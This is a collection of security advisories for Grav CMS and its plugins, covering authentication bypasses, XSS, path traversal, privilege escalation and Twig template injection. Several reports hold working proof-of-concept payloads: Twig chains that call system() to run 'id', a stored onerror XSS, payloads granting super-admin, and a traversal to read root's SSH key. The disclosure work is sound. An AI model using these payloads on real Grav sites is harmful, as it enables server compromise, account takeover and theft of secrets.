See how grav compares to other vendors in security performance
Grav CMS's scheduler-webhook plugin contains an authentication bypass in the webhook token check. When the webhook feature is enabled but no webhookToken is configured, a compound conditional short-circuits and skips token validation, so an unauthenticated remote attacker who can reach POST /scheduler/webhook can trigger the operator's already-configured scheduled jobs by sending a single request. The primitive is triggering-existing-jobs, not attacker-chosen command execution: the attacker controls when the jobs run and which one runs (via ?job=), but does not control what the jobs do. Code execution follows only when the operator has configured a job that shells out, and even then the attacker controls timing rather than payload. Not a default-install issue: reaching the endpoint requires the separate scheduler-webhook GPM plugin to be installed, scheduler.modern.webhook.enabled to be true (default false), and no webhookToken to be configured; a stock Grav or Grav-Admin install exposes nothing here.
Grav before 2.0.25 ships web server configuration samples whose access-control deny rules are matched case-sensitively. In webserver-configs/web.config (IIS), every deny rule (usersensitivefolders, useraccounts, userdata, usererrorredirect, userpages, system, vendor, ignorefolders) sets ignoreCase="false" on its URL Rewrite <match> element, overriding the IIS default of ignoreCase="true"; because these are rewrite matches rather than <requestFiltering> elements, there is no case-insensitive fallback. On IIS running over case-insensitive NTFS, an unauthenticated remote attacker can vary the case of a folder name or file extension (for example GET /user/CONFIG/system.YAML) so that no deny rule matches and the IIS static file handler resolves and returns the underlying file, disclosing sensitive data such as configuration secrets or account password hashes. Whether a bypassed file is actually returned depends on MIME registration: .json is served by default, while .yaml/.yml return HTTP 404.3 on a stock IIS unless a YAML MIME mapping has been added. The same class of gap exists in the bundled webserver-configs/lighttpd.conf, whose user/(config|env), directory, script-extension, root-file and dotfile rules lack the (?i) modifier, though it is lower risk because lighttpd typically runs on case-sensitive filesystems. Deployments served by Apache (.htaccess), nginx, Caddy, or the PHP built-in server are not affected. The issue is fixed in 2.0.25; because the .htaccess installer heal does not touch web.config or lighttpd.conf, operators must re-copy the corrected sample files after upgrading.
The Grav Data Manager plugin (getgrav/grav-plugin-datamanager) versions 1.0.1 through 1.4.4 render stored data entries in the item-detail view (admin/templates/partials/item.html.twig) without escaping, applying Twig's raw filter — in some cases after a striptags('<br>') call that PHP's striptags() bypasses by preserving allowed tags together with their attributes. An unauthenticated visitor who submits a front-end form whose submissions are saved to user/data can store an HTML payload that executes as JavaScript in the session and origin of an administrator who later opens that entry in the classic admin panel, running with that administrator's privileges and CSRF token. Execution occurs without further interaction for list values (such as checkbox or multi-select fields) and on hover for ordinary text fields. Sites using the Grav 2.0 Admin Next interface are not affected, because it renders the same data through a separate, correctly escaping code path. The issue is fixed in Data Manager 1.4.5.
The Grav API plugin (getgrav/grav-plugin-api) versions >= 1.0.6 and <= 1.0.11 contain a privilege escalation vulnerability. A scoped API key minted on a super-admin account bypasses its declared scope cap on four isSuperAdmin()-gated write endpoints (in GroupsController, AccountsConfigController, PreferencesController, and DashboardWidgetController). These endpoints authorize via a super-admin early-return that never invokes requirePermission()—the sole enforcement point of the scope cap—so a 'read-only'-scoped key (e.g. api.pages.read) can perform super-only write operations, including rewriting group ACL maps to grant super-admin privileges to arbitrary accounts. A leaked or delegated read-only CI/monitoring key can therefore gain full super-admin write capability. Fixed in 1.0.13.
Summary
A page editor without admin.super can place an event handler after a > inside a quoted attribute. Grav accepts and stores the page, then executes the handler in the application origin when a visitor opens it.
Details
Security::detectXss() (system/src/Grav/Common/Security.php:253) anchors the onevents scan at < and uses [^>]?, which cannot cross the first literal >. When that character is inside a quoted value, the browser keeps the tag open and parses the later onerror attribute, so the detector and browser disagree. AdminController::savePage() relies on this detector when saving content from page editors outside the admin.super whitelist.
PoC
I reproduced this with getgrav/grav 2.0.11 (ad9709f865b09b68798fb1ac375b484a8cc1d892), Admin 1.10.52, and Quark 2 1.1.4.
1. Sign in as a user with admin.login and admin.pages, but without admin.super. 2. Create or edit /xsstest and save this page body:
html <img src=x title=">" onerror=alert(document.domain)>
3. Open /xsstest in a private browser window.
The save succeeds and the visitor sees an alert containing the site domain. With the body changed to <img src=x onerror=alert(1)>, the same endpoint rejects it with XSS issue detected and does not store it.
Impact
A page editor can execute JavaScript in the origin of every user who views the stored page, including unauthenticated visitors.
Anticipated objection and response
Although the detectXss() docblock describes it as a heuristic that cannot catch every XSS, this check is the storage-time boundary for page editors outside the default security.xsswhitelist of admin.super. The same endpoint rejects a plain handler but accepts this executable form, allowing a lower-trust editor to cross the boundary the check is intended to enforce.
Suggested fix
Prefer an HTML tokenizer or sanitizer that rejects event-handler attributes on parsed elements. If the existing tripwire remains, make its tag scan quote-aware instead of treating every > as a boundary. Add double-quoted and single-quoted regression cases plus the rejected plain-handler control.
Grav CMS 2.0.14 through 2.0.24 contains a privilege escalation vulnerability in the group and account blueprints. The access map is gated by a security@: admin.super guard that is resolved by the field's exact path, so a submitted flat dot-notation key such as access.admin.super (instead of the nested access[admin][super]) matches no blueprint rule, survives BlueprintSchema::filterArray() and flattening, and is written by FlexObject::update() via setNestedProperty(), which splits on . and reconstructs the nested value. An authenticated backend operator using the flex accounts backend who holds admin.users but not admin.super can therefore grant admin.super to their own account or to a group they belong to and escalate to full super-admin, gaining control over configuration, plugin and theme installation, the file manager, and all accounts. Fixed in 2.0.25, which drops any dotted key whose ancestor path is disabled or marked validate.ignore.
grav-plugin-login (the Grav CMS Login plugin) versions >= 3.8.7 and < 3.9.7 allow the two-factor authentication challenge to be bypassed for content gated by the authenticated() Twig function or the [authenticated] shortcode. On sites with 2FA enabled, Login::isAuthenticated() checked only the session flag indicating that the password step had succeeded, not the flag indicating that login had completed, so a session sitting at the 2FA code prompt was treated as fully authenticated. An attacker who knows a member's password but cannot answer that member's second factor can therefore read member-only content rendered by the no-argument authenticated() or group authenticated(null, 'group') forms and by [authenticated]; the inverse [guest] shortcode is likewise evaluated too early. Impact is limited to disclosure of that content: the attacker does not obtain a completed session, cannot access pages protected by an access: rule, and cannot act as the user. The authenticated('some.permission') form, which goes through UserObject::authorize(), is not affected. Fixed in grav-plugin-login 3.9.7.
Grav is a flat-file CMS. In versions 2.0.19 through 2.0.24 — and in 2.0.0 through 2.0.18 and 1.7.x only where content Twig has been explicitly enabled — page content authored by a user holding only page-write permission is rendered through a Twig sandbox that allowlists getcookie(), which returns any cookie sent with the current request, including the visitor's session cookie. Because the read occurs server-side via filterinput(INPUTCOOKIE, ...), the HttpOnly, Secure and SameSite attributes offer no protection. Grav then stores the finished post-Twig output in a page-content cache keyed only on page identity and the configuration checksum, with no session, user or request dimension and no bypass for authenticated visitors. A page published by a page-write user can therefore capture the session identifier of the next administrator who views it, after which the cached output serves that identifier to unauthenticated visitors, who can replay the cookie to authenticate as that administrator. Since 2.0.19, security.twigcontent.processenabled defaults to true and Security::applyTwigContentDefault() derives each page's process.twig flag from that gate, so content Twig runs on every page with no frontmatter or operator action. Fixed in 2.0.25; 1.7.x is outside the backport scope.
The Comments plugin (getgrav/grav-plugin-comments) for Grav CMS through version 1.2.10 registers an admin handler that returns comment data as JSON without any authentication check. The handler branches on isAdmin(), which only indicates that the admin service is registered on the current route rather than that the visitor is authenticated, and it echoes the JSON and calls exit() during the plugins stage, before the classic Admin plugin would render its login screen. On a site using the classic Admin plugin with Comments enabled (the default), an unauthenticated remote attacker can request /admin/comments/page:<n> (e.g. page:0.001) and retrieve every comment from the last 7 days, including each commenter's email address and the absolute server filesystem path of the data file. Sites running the Grav 2.0 Admin Next stack (admin2 + api) are not affected via this path. The issue is fixed in 1.2.11, which requires an authenticated user with admin.comments or admin.super and removes the absolute filePath from the response.
Grav 2.0.0 through 2.0.24 contain a Twig content sandbox escape. The array filter (and its identical function form) is on the sandbox allowlist but is registered without the needsissandboxed guard that printr, vardump, jsonencode, yamlencode and string carry, and its implementation calls toArray() — or falls back to an (array) cast — without consulting the sandbox method allowlist. Because the grav Twig global is the raw Pimple-based dependency injection container, a user who can author Twig in page content can evaluate grav|array to read the container's private $values array, including the un-redacted Config service; a second array cast returns the entire configuration tree, disclosing plugin credentials, SMTP and OAuth secrets, Redis passwords, proxy URLs and the security. subtree that the sandbox's redaction is meant to hide. Because the payload is stored in page content, the disclosed configuration is rendered to anonymous visitors. Grav 1.7 is not affected as it has no Twig content sandbox. Fixed in Grav 2.0.25.
Summary When a user with privilege of user creation creates a new user through the Admin UI and supplies a username containing path traversal sequences (for example ..\Nijat or ../Nijat), Grav writes the account YAML file to an unintended path outside user/accounts/. The written YAML can contain account fields such as email, fullname, twofasecret, and hashedpassword. In my tests, I was able to cause the Admin UI to write the following content into arbitrary .yaml files (including files like email.yaml, system.yaml, or other site YAML files like admin.yaml) — demonstrating arbitrary YAML write / overwrite via the Admin UI.
Example observed content written by the Admin UI (test data): username: ..\Nijat state: enabled email: EMAIL@gmail.com fullname: 'Nijat Alizada' language: en contenteditor: default twofaenabled: false twofasecret: RWVEIHC2AFVD6FCR6UHCO3DS4HWXKKDT avatar: { } hashedpassword: $2y$10$wl9Ktv3vUmDKCt8o6u2oOuRZr1I04OE0YZf2sJ1QcAherbNnk1XVC access: site: login: true
Steps to Reproduce 1. Log in to the Grav Admin UI as an administrator. 2. Create a new user with the following values (example): a. Username: ..\POC-TOKEN-2025-09-29 b. Fullname: POC-TOKEN-2025-09-29 c. Email: poc+2025-09-29@example.test d. Password: (any password) Observe that a YAML file containing the POC-TOKEN is written outside user/accounts/ (for example in the parent directory of user/accounts)
Impact 1. Config corruption / service disruption: Overwriting system.yaml, email.yaml, or plugin config files with attacker-controlled YAML (even if limited to fields present in account YAML) could break functionality, disable services, or cause misconfiguration requiring recovery from backups. 2. Account takeover, any user with create user privilege can modify other user's email and password by just creating a new user with the name "..\accounts\USERNAMEOFVICTIM"
Proof of Concept https://github.com/user-attachments/assets/cf503d74-f765-4031-8e22-71f6b3630847
Summary A Server-Side Template Injection (SSTI) vulnerability exists in Grav that allows authenticated attackers with editor permissions to execute arbitrary commands on the server and, under certain conditions, may also be exploited by unauthenticated attackers. This vulnerability stems from weak regex validation in the cleanDangerousTwig method.
Important - First of all this vulnerability is due to weak sanitization in the method clearDangerousTwig, so any other class that calls it indirectly through for example $twig->processString to sanitize code is also vulnerable.
- For this report, we will need the official Form and Admin plugin installed, also I will be chaining this with another vulnerability to allow an editor which is a user with only pages permissions to edit the process section of a form.
- I made another report for the other vulnerability which is a Broken Access Control which allows a user with full permission for pages to change the process section by intercepting the request and modifying it.
Permissions Needed - The main case for this vulnerability is an editor which can unconditionally takeover the whole system through creating a vulnerable form. - Second case is as an unauthenticated user, so if the form exists already and accepts user input and puts it through evaluatetwig, a guest can takeover the system.
Details When we make a form with a process section and a message action, when the form is submitted we get to deal with onFormProcess in form.php through the message case:
php case 'message': $translatedstring = $this->grav['language']->translate($params); $vars = array( 'form' => $form );
/ @var Twig $twig / $twig = $this->grav['twig']; $processedstring = $twig->processString($translatedstring, $vars);
$form->message = $processedstring; break;
Which takes our parameters as in our action values, like in our case the value of our message action and sends it to processString which then calls the method cleanDangerousTwig from Security.php, now here's where we find the vulnerability is caused by two things:
- First of all is weak regex which doesn't account for nested function calls, which allows us to bypass this function's sanitization - Second issue which is the evaluate and evaluatetwig functions which are allowed, and since we can call Twig syntax from inside them, it will lead to nested function calls which we can bypass and thus execute arbitrary payloads.
php public static function cleanDangerousTwig(string $string): string { if ($string === '') { return $string; }
$badtwig = [ 'twigarraymap', 'twigarrayfilter', 'calluserfunc', 'registerUndefinedFunctionCallback', 'undefinedfunctions', 'twig.getFunction', 'core.setEscaper', 'twig.safefunctions', 'readfile', ]; // This allows for a payload like {{ evaluate("readfile('/etc/passwd')") }} $string = pregreplace('/(({{\s|{%\s)[^}]?(' . implode('|', $badtwig) . ')[^}]?(\s}}|\s%}))/i', '{# $1 #}', $string); return $string; }
PoC
First to showcase how the function handles the payload, I built a small php program that replicates the behavior of cleanDangerousTwig:
php <?php
function cleanDangerousTwig(string $string): string { if ($string === '') { return $string; }
$badtwig = [ 'twigarraymap', 'twigarrayfilter', 'calluserfunc', 'registerUndefinedFunctionCallback', 'undefinedfunctions', 'twig.getFunction', 'core.setEscaper', 'twig.safefunctions', 'readfile', ]; $string = pregreplace('/(({{\s|{%\s)[^}]?(' . implode('|', $badtwig) . ')[^}]?(\s}}|\s%}))/i', '{# $1 #}', $string);
return $string; }
$x = $argv[1]; echo cleanDangerousTwig("evaluatetwig('$x')");
We can run the program with this payload:
bash php ok.php "{{ grav.twig.twig.registerUndefinedFunctionCallback('system') }} {% set a = grav.config.set('system.twig.undefinedfunctions',false) %} {{ grav.twig.twig.getFunction('cat /etc/passwd') }}"
Our payload goes through and not one malicious function is filtered:
evaluatetwig('{# {{ grav.twig.twig.registerUndefinedFunctionCallback('system') }} #} {# {% set a = grav.config.set('system.twig.undefinedfunctions',false) %} #} {# {{ grav.twig.twig.getFunction('cat /etc/passwd') }} #}')
Now we know that our payload definitely works so let's try it through a custom form this time, as an editor:
- Go to pages - Add a page and create a new form or choose an exiting one
We will be using another vulnerability I found which is a Broken Access Control vulnerability, which allows an editor with basically only pages rights to modify a form's action sections without being in expert mode ( please refer to it's report ), so when we go to our form and save it, we can intercept the request and inject the following payload into data[json][header][form] which is the header for our form which we shouldn't normally be able to modify:
{"name":"ssti-test 2","fields":{"name":{"type":"text","label":"Name","required":true}},"buttons":{"submit":{"type":"submit","value":"Submit"}},"process":[]}
URL-encode it before sending it should look something like this:
!image
!image
Request sent and processed! Now when you go to our form file you can see added a process section with the value of message changed:
!image
Content of form:
title: Home process: markdown: true twig: true form: name: test fields: name: type: text label: Name required: true buttons: submit: type: submit value: submit process: - message: '{{ evaluatetwig(form.value(''name'')) }}'
Now in the process section, notice our message action is gonna take value from the Name input, using the following payload we will execute the command id on the system:
{{ grav.twig.twig.registerUndefinedFunctionCallback('system') }} {% set a = grav.config.set('system.twig.undefinedfunctions',false) %} {{ grav.twig.twig.getFunction('id') }}
Now we can visit the page and input our payload, submit and we got command result:
!image
Impact
Allows an attacker to execute arbitrary commands, leading to full system compromise, including unauthorized access, data theft, privilege escalation, and disruption of services.
Recommended Fix
- Blacklist both the evaluate and evaluatetwig functions. - We could add second check to cleanDangerousTwig where we would look for each malicious function no matter it's position:
php <?php
function cleanDangerousTwig(string $string): string { if ($string === '') { return $string; }
$badtwig = [ 'twigarraymap', 'twigarrayfilter', 'calluserfunc', 'registerUndefinedFunctionCallback', 'undefinedfunctions', 'twig.getFunction', 'core.setEscaper', 'twig.safefunctions', 'readfile', ]; $string = pregreplace('/(({{\s|{%\s)[^}]?(' . implode('|', $badtwig) . ')[^}]?(\s}}|\s%}))/i', '{# $1 #}', $string);
foreach ($badtwig as $func) { $string = pregreplace('/\b' . pregquote($func, '/') . '(\s\([^)]\))?\b/i', '{# $1 #}', $string); }
return $string; }
$x = $argv[1]; echo cleanDangerousTwig("evaluatetwig('$x')");
When we run this, the result is: evaluatetwig('{# {{ grav.twig.twig.{# #}('system') }} #} {# {% set a = grav.config.set('system.twig.{# #}',false) %} #} {# {{ grav.twig.{# #}('cat /etc/passwd') }} #}') You can see we managed to stop the payload and filter out the malicious functions.
Summary A user with admin panel access and permissions to create or edit pages in Grav CMS can enable Twig processing in the page frontmatter. By injecting malicious Twig expressions, the user can escalate their privileges to admin or execute arbitrary system commands via the scheduler API. This results in both Privilege Escalation (PE) and Remote Code Execution (RCE) vulnerabilities.
Details Grav CMS allows Twig to be executed in page templates if enabled in admin panel (process: twig: true). A user with publisher/editor privileges, that can create or edit pages and enable twig processing, can thereby inject arbitrary code that will execute in the context of the page render.
This enables exploitation of Grav internal APIs such as: - grav.user.update() and grav.user.save() for escalating the current user to super admin or admin - grav.scheduler.addCommand(), grav.scheduler.save() and grav.scheduler.run() for code execution
The Twig sandbox is not enforced in this context, allowing full access to any backend PHP object and method in the system/src/Grav/Common directory.
PoC Preconditions: - You must have access to a non-admin user with permission to create/edit pages (admin.pages access) - For Privilege Escalation, you also have to be logged in to the site with the same user as the admin panel.
Steps to reproduce Privilege Escalation: 1. Login into the non-admin page (default at cms-url/login). 2. Login to the admin panel, create or edit a page and set the Twig processing to true (Advanced -> Process: Twig: true). 3. Inject the following payload into the page content to escalate privileges: {% set = grav.user.update({ 'access': { 'admin': { 'login': true, 'super': true } } }, {}) %} {% set = grav.user.save() %} 4. Visit the edited/created page url. The logged in user is now admin. (Note: For the changes to show, you need to log out of the admin panel and relogin).
Steps to reproduce Remote Code Execution: 1. Login to the admin panel, create or edit a page and set the Twig processing to true (Advanced -> Process: Twig: true). 2. Inject the following payload into the page content to execute commands: {% set = grav.scheduler.addCommand('curl', ['http://localhost:8000']) %} {% set = grav.scheduler.save() %} {% set = grav.scheduler.run() %} 3. Visit the page to trigger the execution. The system will issue a curl request.
Impact This vulnerability allows: - Privilege Escalation from any user with page editing capabilities to full admin (super) access. - Remote Code Execution, as the attacker can run system arbitrary commands via the scheduler API.
It affects any Grav CMS installation where users with lower privileges are allowed to create or edit pages and Twig processing is not globally disabled.
Summary A privilege escalation vulnerability exists in Grav’s Admin plugin due to the absence of username uniqueness validation when creating users. A user with the create user permission can create a new account using the same username as an existing administrator account, set a new password/email, and then log in as that administrator. This effectively allows privilege escalation from limited user-manager permissions to full administrator access.
Steps to Reproduce 1. Make sure you have two accounts: an admin and a user with create user privilege 2. In the user account, navigate to /grav-admin/admin/accounts/users and click "Add" 3. Enter the name of the admin, complete registration and observe that the existing admin’s email is changed to the value you provided. 4. Log out from user account log in as admin with new credentials
Impact 1. Full admin takeover by any user with create user permission. 2. Ability to change admin credentials, install/remove plugins, read or modify site data, and execute any action available to an admin. 3. Severity: High/Critical.
PoC https://github.com/user-attachments/assets/3ab0a7d6-5055-41be-9e0e-2bd6ca359b37
Summary Having a simple form on site can reveal the whole Grav configuration details (including plugin configuration details) by using the correct POST payload. Sensitive information may be contained in the configuration details.
PoC Create a simple form with two fields, 'registration-number' and 'hp'. Add a submit button and set the method to POST(screenshot attached below). Form name set to 'hero-form'. Send a POST request with the following payload and you will notice a response with a php array listing the whole Grav configuration details - including plugins(screenshot attached).
registration-number:d643aaaa
hp:vJyifp
form-name:hero-form
uniqueformid:{{vardump(context|slice(0,7))}}
!Screenshot 2025-03-25 at 7 26 02 AM
!Screenshot 2025-03-25 at 7 22 58 AM
Impact Server-Side Template (SST) vulnerability. The vulnerability affects the latest Grav version as of 25th of Match 2025 (1.7.48) with all plugins installed (including forms plugin v.7.4.2) to their latest versions as well.
Summary
- A low privilege user account with page editing privilege can read any server files using "Frontmatter" form. - This includes Grav user account files - /grav/user/accounts/.yaml. This file stores hashed user password, 2FA secret, and the password reset token. - This can allow an adversary to compromise any registered account by resetting a password for a user to get access to the password reset token from the file or by cracking the hashed password.
Details The vulnerability can be found in /user/plugins/form/templates/forms/fields/display/display.html.twig !image
PoC 1. This PoC was conducted on Grav CMS version 1.7.46 and Admin Plugin version 1.10.46 !image
2. go to “http://grav.local/admin/pages” then create new page with “Page Template” option set to “Form”. !image
3. Then go to “Expert” and on Frontmatter input box used to following form template.
!image
4. Save page and go the preview or published page you will see the content of “/etc/passwd” file on the server. !image
Impact This can allow a low privileged user to perform a full account takeover of other registered users including Administrators. This can also allow an adversary to read any file on the web server. And Due to insufficient permission verification , user who can write a page also can use frontmatter feature using this IDOR vulnerability PoC IDOR mention in CVE-2024-2792
Summary
Grav CMS is vulnerable to a Server-Side Template Injection (SSTI) that allows any authenticated user with editor permissions to execute arbitrary code on the remote server, bypassing the existing security sandbox.
Details
Grav CMS uses a custom sandbox to protect the powerful Twig methods such as registerUndefinedFilterCallback(). These methods are designed to prevent SSTI attacks by denying the execution of dangerous PHP functions (e.g., exec(), passthru(), system(), etc.) within Twig template directives.
The current defense mechanism relies on a blacklist of prohibited functions (PHP, Twig), checked through the isDangerousFunction() method in the file system/src/Grav/Common/Twig.php:
php $this->twig->registerUndefinedFilterCallback(function (string $name) use ($config) { $allowed = $config->get('system.twig.safefilters'); if (isarray($allowed) && inarray($name, $allowed, true) && functionexists($name)) { return new TwigFilter($name, $name); } if ($config->get('system.twig.undefinedfilters')) { if (functionexists($name)) { if (!Utils::isDangerousFunction($name)) { usererror("PHP function {$name}() used as Twig filter. This is deprecated in Grav 1.7. Please add it to system configuration: system.twig.safefilters", EUSERDEPRECATED);
return new TwigFilter($name, $name); }
/ @var Debugger $debugger / $debugger = $this->grav['debugger']; $debugger->addException(new RuntimeException("Blocked potentially dangerous PHP function {$name}() being used as Twig filter. If you really want to use it, please add it to system configuration: system.twig.safefilters")); }
return new TwigFilter($name, static function () {}); }
return false; });
In this code, the isDangerousFunction() check is bypassed if the filter defined in the $name variable is considered safe. Only an administrator can mark a function as safe by adding it to the system.twig.safefilters configuration properties (whitelists that are empty by default) in the system/config/system.yaml file.
Notably, the Twig class is defined within the system/src/Grav/Common/Twig.php file, and the Twig object (and environment) is instantiated there:
php / Class Twig @package Grav\Common\Twig / class Twig { / @var Environment / public $twig; / @var array / public $twigvars = []; / @var array / public $twigpaths; / @var string / public $template;
// Constructor public function construct(Grav $grav) { $this->grav = $grav; $this->twigpaths = []; }
// Twig initialization method public function init() { if (null === $this->twig) { / @var Config $config / $config = $this->grav['config']; / @var UniformResourceLocator $locator / $locator = $this->grav['locator']; / @var Language $language / $language = $this->grav['language'];
$activelanguage = $language->getActive(); ... } } }
Since the security sandbox does not fully protect the Twig object, it is possible to interact with it (e.g., call methods, read/write attributes) through maliciously crafted Twig template directives injected into a web page. This allows an authenticated editor to add arbitrary functions to the Twig attribute system.twig.safefilters, effectively bypassing the Grav CMS sandbox.
Proof of Concept (PoC) An authenticated user with permission to edit a page (with Twig processing enabled) in the Grav CMS admin console can inject malicious template directives to execute arbitrary OS commands on the remote web server.
For example, to exploit the vulnerability and execute the prohibited system('id') command, bypassing the sandbox, an editor could create/edit a web page with the following template directives:
twig {% set arr = {'1':'system', '2':'exec'} %} {{ vardump(grav.twig.twigvars['config'].set('system.twig.safefilters', arr)) }} {{ 'id'|system }} {{ 'whoami'|exec }}
Once the page is saved, it can be accessed by unauthenticated users, triggering the execution of the system('id') command on the server hosting the vulnerable Grav CMS.
Impact The vulnerability allows remote code execution on the underlying server, which could lead to full server compromise.
Summary Due to a broken access control vulnerability in the /admin/pages/{pagename} endpoint, an editor ( user with full permissions to pages ) can change the functionality of a form after submission.
Details Due to improper authorization checks when modifying critical fields on a POST request to /admin/pages/{pagename}, an editor with only permissions to change basic content on the form is now able to change the functioning of the form through modifying the content of the data[json][header][form] which is the YAML frontmatter which includes the process section which dictates what happens after a user submits the form which include some important actions that could lead to further vulnerabilities.
PoC
- Have Admin and Form plugins installed - Connect to panel as admin, create user and give him permission for pages all - Now connect as that user and notice you cant edit any process field in the panel - Change anything in the content of the form and save - Intercept the request: !image
- Now modify the field data[json][header][form] with the following payload URL-encoded not like this: {"name":"ssti-test 2","fields":{"name":{"type":"text","label":"Name","required":true}},"buttons":{"submit":{"type":"submit","value":"Submit"}},"process":[{"message":"{{ evaluatetwig(form.value('name')) }}"}]}
- Change the field and forward it: !image
Request goes through and changes have been made to the form. !image
Impact
- Attacker can modify submission logic of the form which leads to changing redirect value, email sending, changing template, breaking out of the Twig sandbox potentially executing code...
Fix recommendation
- Implement proper authorization checks to such requests especially when it contains fields user shouldn't be able to modify based on his role.
Summary A path traversal vulnerability has been identified in Grav CMS, versions 1.7.49.5 , allowing authenticated attackers with administrative privileges to read arbitrary files on the underlying server filesystem. This vulnerability arises due to insufficient input sanitization in the backup tool, where user-supplied paths are not properly restricted, enabling access to files outside the intended webroot directory. The impact of this vulnerability depends on the privileges of the user account running the application.
PoC To accurately demonstrate the maximum potential impact of this vulnerability, the testing environment was configured in a specific way:
- Elevated Privileges: The application was run locally with the highest possible system privileges, operating under the root user account. - Objective: This configuration was chosen to unequivocally show that the path traversal vulnerability is not just a theoretical issue but can lead to a complete compromise of the underlying host when combined with poor operational practices. The ability to read any file on the system is the ultimate test of the flaw's severity.
Proof of Concept Goal: Under these conditions, the subsequent PoC will exploit the vulnerability to read the SSH private key of the root user (/root/.ssh/idrsa). The successful exfiltration of this key represents a worst-case scenario, as it would provide an attacker with persistent, undetectable, and complete administrative access to the host server. This highlights the critical intersection of an application-layer vulnerability and a infrastructure-level misconfiguration.
1- LOGIN AS ADMIN AND GO TO : http://127.0.0.1/admin/tools/backups 2- Change 'Root Folder' to backup directory /../../../../../../../root/.ssh/
<img width="1902" height="492" alt="Screenshot 2025-09-11 161519" src="https://github.com/user-attachments/assets/23a60dc3-7758-4e24-b910-e66a1dd1f5e2" />
3- CLICK : 'SAVE' 4- CLICK : 'Backup Now'
<img width="1916" height="512" alt="Screenshot 2025-09-11 154151" src="https://github.com/user-attachments/assets/88a63ff2-777e-467e-857b-0644ef698499" />
5- Extract Backup :
<img width="704" height="101" alt="Screenshot 2025-09-11 160114" src="https://github.com/user-attachments/assets/b91ce4db-9843-4280-b8f0-32c73aa12d4d" /> <img width="567" height="101" alt="Screenshot 2025-09-11 160135" src="https://github.com/user-attachments/assets/155ce7d8-c2fc-4b54-b054-f7c7550bec82" />
DOS on the admin panel Severity Rating: Medium
Vector: Denial Of Service
CVE: XXX
CWE: 400 - Uncontrolled Resource Consumption
CVSS Score: 4.9
CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:N/I:N/A:H
Analysis
A Denial of Service (DoS) vulnerability has been identified in the application related to the handling of scheduledat parameters. Specifically, the application fails to properly sanitize input for cron expressions. By manipulating the scheduledat parameter with a malicious input, such as a single quote, the application admin panel becomes non-functional, causing significant disruptions to administrative operations.
The only way to recover from this issue is to manually access the host server and modify the backup.yaml file to correct the corrupted cron expression
Proof of Concept
1) Change the value of scheduledat parameter to ' as shown in the following figures at the http://127.0.0.1/admin/tools endpoint, and observe the response in the second figure: !gravdos2 Figure: Http request on tool endpoint !gravdos3 Figure: Http response on tool endpoint
2) When trying to access the admin panel, the panel is broken as shown in the following figure. Additionally, the value change is reflected in the backup.yaml file, as shown in the second figure: !gravdos4 Figure: Error message view !gravdos5 Figure: Backup.yaml file
Workarounds No workaround is currently known
Timeline 2024-07-24 Issue identified
2024-09-27 Vendor contacted
About X41 D-Sec GmbH X41 is an expert provider for application security services. Having extensive industry experience and expertise in the area of information security, a strong core security team of world class security experts enables X41 to perform premium security services.
Fields of expertise in the area of application security are security centered code reviews, binary reverse engineering and vulnerability discovery. Custom research and IT security consulting and support services are core competencies of X41.
Exposure of Password Hashes Leading to privilege escalation Severity Rating: Medium
Vector: Privilege Escalation
CVE: XXX
CWE: 200 - Exposure of Sensitive Information
CVSS Score: 6.2
CVSS Vector: CVSS:3.1/AV:N/AC:H/PR:H/UI:N/S:U/C:H/I:H/A:L
Analysis
It was observed that if a users is given read access on the user account management section of the admin panel can view the password hashes of all users, including the admin user. This exposure can potentially lead to privilege escalation if an attacker can crack these password hashes.
An attacker with read access can: View and potentially crack the password hashes. Gain administrative access by cracking the admin password hash. Escalate privileges and compromise the entire admin panel.
Proof of Concept
1) Give read access to user accounts to a random user as shown in the following figures: !grav0 !grav2
2) Log in to the admin panel with an account that has read access to user accounts and navigate to the user account management section.
3) Go to the admin profile http://127.0.0.1/admin/accounts/users/admin; The password is not display. Try inspecting the page source code as shown in the following figures: !grav2-1 You can see that it match the hash that is in the admin.yaml file : !Compare to the hash in database of the admin
4) Crack the hash as shown in the following figure, the algorithm use here is bcrypt: !grav3
Workarounds No workaround is currently known
Timeline 2024-07-24 Issue identified
2024-09-27 Vendor contacted
About X41 D-Sec GmbH X41 is an expert provider for application security services. Having extensive industry experience and expertise in the area of information security, a strong core security team of world class security experts enables X41 to perform premium security services.
Fields of expertise in the area of application security are security centered code reviews, binary reverse engineering and vulnerability discovery. Custom research and IT security consulting and support services are core competencies of X41.
Summary
An IDOR (Insecure Direct Object Reference) vulnerability in the Grav CMS Admin Panel allows low-privilege users to access sensitive information from other accounts. Although direct account takeover is not possible, admin email addresses and other metadata can be exposed, increasing the risk of phishing, credential stuffing, and social engineering.
---
Details
Endpoint: /admin/accounts/users/{username} Tested Version: Grav Admin 1.7.48 Affected Accounts: Authenticated users with 0 privileges (non-privileged accounts)
Description: Requesting another user’s account details (e.g., /admin/accounts/users/admin) as a low-privilege user returns an HTTP 403 Forbidden response. However, sensitive information such as the admin’s email address is still present in the response source, specifically in the <title> tag.
system/src/Grav/Common/Flex/Types/Users/UserCollection.php <img width="700" height="327" alt="Screenshot 2025-08-24 021027" src="https://github.com/user-attachments/assets/7e69ae49-d8fc-442f-b00c-9efaec706b2e" />
system/blueprints/flex/user-accounts.yaml <img width="700" height="300" alt="Screenshot 2025-08-24 020521" src="https://github.com/user-attachments/assets/756631c8-d60b-4b84-a08a-2a9c2f81b41f" />
This is a classic IDOR vulnerability, where object references (usernames) are not properly protected from unauthorized enumeration.
---
PoC
1. Log in as a non-privileged user (0-privilege account). 2. Access another user’s endpoint, for example:
GET /admin/accounts/users/admin 3. Observe the HTTP 403 Forbidden response. 4. Inspect the page source; sensitive data such as the admin email can be seen in the <title> tag.
PoC Video:
https://drive.google.com/file/d/1lYqwqSkN5sPNmHvXGOk6R1mdIgVt71H/view
---
Impact
Type: Information Disclosure via IDOR Who is impacted: Low-privilege authenticated users can enumerate other accounts and extract sensitive metadata (admin emails). Risk: Exposed information can be used for targeted phishing, credential stuffing, brute-force attacks, or social engineering campaigns. Severity Justification: Only a low-privilege account is required, and sensitive metadata is leaked. Arbitrary code execution is not possible, but the information exposure is moderate risk.
---
Disclosure & CVE Request
We request a CVE ID for this vulnerability once validated. Please credit the discovery to:
Elvin Nuruyev Kanan Farzalili
Grav v1.7.49.5 / Admin v1.10.49.1 – User Enumeration & Email Disclosure
